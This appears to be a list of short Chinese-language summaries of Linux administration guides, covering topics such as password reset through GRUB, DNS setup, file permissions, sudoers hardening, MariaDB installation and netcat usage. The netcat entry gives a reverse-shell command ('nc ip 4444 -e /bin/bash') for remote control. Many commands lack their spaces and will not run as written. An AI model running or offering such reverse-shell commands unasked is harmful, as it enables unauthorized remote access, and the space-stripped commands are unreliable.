-
答案：忘记Linux密码可通过单用户模式、rd.break或init=/bin/sh等方式重置。首先在GRUB界面编辑启动项，修改内核参数进入修复模式，挂载文件系统为读写，使用passwd或chpasswd命令修改root或普通用户密码，必要时创建.autorelabel文件确保SELinux兼容，最后重启生效。
-
可通过upower、sysfs、acpi、powercap/thermal及powertop五类方法获取Linux电源状态：upower查电池与AC状态；sysfs读取/sys/class/power_supply下原始数据；acpi输出简明报告；powercap与thermal子系统监控功耗和温度；powertop分析动态功耗并提供节能建议。
-
dnfdistro-sync--allowerasing是唯一能完成CentOS7→RockyLinux9直接跨大版本迁移的命令，因其可强制替换不兼容包并解决依赖冲突；但必须严格按顺序执行清源、换钥、配仓三步，否则因yum/dnf、Python、rpm工具链断层导致签名失败或元数据混乱，而yumswap或升级脚本因底层不兼容无法直接使用。
-
Linux系统DNS配置有五种方法：一、修改/etc/resolv.conf；二、通过NetworkManager配置；三、配置systemd-resolved服务；四、临时设置DNS；五、注意发行版差异、端口冲突、容器及防火墙限制。
-
递归修改Linux文件权限和所有权需使用chmod-R和chown-R命令。1.chmod-R用于批量设置目录及其内容的权限，如chmod-R755/var/www/html将所有者权限设为读写执行、组和其他用户为只读执行；2.chown-R用于更改目录及内部文件的所有者和组，如chown-Rwww-data:www-data/var/www/html确保Web服务正常访问；3.使用find命令可实现更精细控制，如find/var/www/html-typed-execchmod755{}+仅对目录设75
-
sudoers中必须使用完整绝对路径且不带参数授权脚本，脚本需root所有、0755权限，配置文件权限≤0600，开头校验SHA256哈希并显式指定外部命令绝对路径，优先使用/etc/sudoers.d/目录管理配置，并启用日志审计。
-
gitblame默认不准，因只显示已提交历史、遇merge停止追踪、重命名不识别；需用--ancestry-path、-C-M、-S、--ignore-rev等参数及交叉验证确保作者可信。
-
ulimit-u限制用户级进程/线程总数，需同步调大/proc/sys/kernel/pid_max系统级PID上限，否则高并发时因PID耗尽报“Resourcetemporarilyunavailable”；systemd服务和容器环境须单独配置，不自动继承limits.conf。
-
Linux部署MariaDB有四种经验证方法：一、系统包管理器安装，适配RHEL/CentOS/Debian/Ubuntu，自动处理依赖；二、官方YUM/APT仓库安装指定版本，保障更新及时性；三、二进制包手动部署，适用于离线或定制化场景；四、Docker容器运行，支持环境隔离与快速启停。
-
Linux安全基线不是“一键加固脚本”，而是围绕账户、认证、服务、日志四个维度的持续校准过程；配置错误比不配更危险，尤其在pam_cracklib.so参数和sshd_config逻辑顺序上容易引发登录锁死。
-
mount的作用是将独立的文件系统挂载到Linux根目录树的指定挂载点，使其可访问。它通过VFS层实现不同文件系统的统一管理，使用mount命令可手动挂载设备，配置/etc/fstab可实现开机自动挂载，确保数据安全与系统稳定。
-
掌握netcat需熟悉其五大功能：1、用“nc-vhostport”建立TCP/UDP连接并通信；2、通过“nc-l-pport”监听本地端口接收数据；3、结合重定向实现文件传输，如“nc-l-p9999>file”接收，“catfile|ncip9999”发送；4、使用“nc-z-vipport-range”扫描开放端口，支持TCP/UDP；5、执行“nc-l-p4444”监听并用“ncip4444-e/bin/bash”反弹shell，实现远程控制。
-
Linux查看TCP重传率需计算「重传段数/总发包数」比值，推荐用/proc/net/snmp两次采样取差值，或sar-nTCP,ETCP看retrans/s瞬时速率，ss-ti定位具体连接，tcpdump+tshark验证真实性。
-
dnfinstall是否成功取决于系统版本、仓库配置和网络源；CentOS7默认无dnf，需启用EPEL或手动安装；RHEL/CentOS8+默认支持，但需启用AppStream等对应仓库；本地RPM应使用dnfinstall./xxx.rpm而非rpm-ivh或已废弃的dnflocalinstall。
-
Linux系统切换中文界面需先安装对应发行版的中文语言包并配置zh_CN.UTF-8locale：Ubuntu/Debian用apt安装language-pack-zh-hans等包并update-locale；CentOS/RHEL用dnf/yumgroupinstall“ChineseSupport”后localectl设置；Arch需编辑locale.gen、locale-gen并写入locale.conf；Kali须dpkg-reconfigurelocales并安装中文字体；最后通过locale
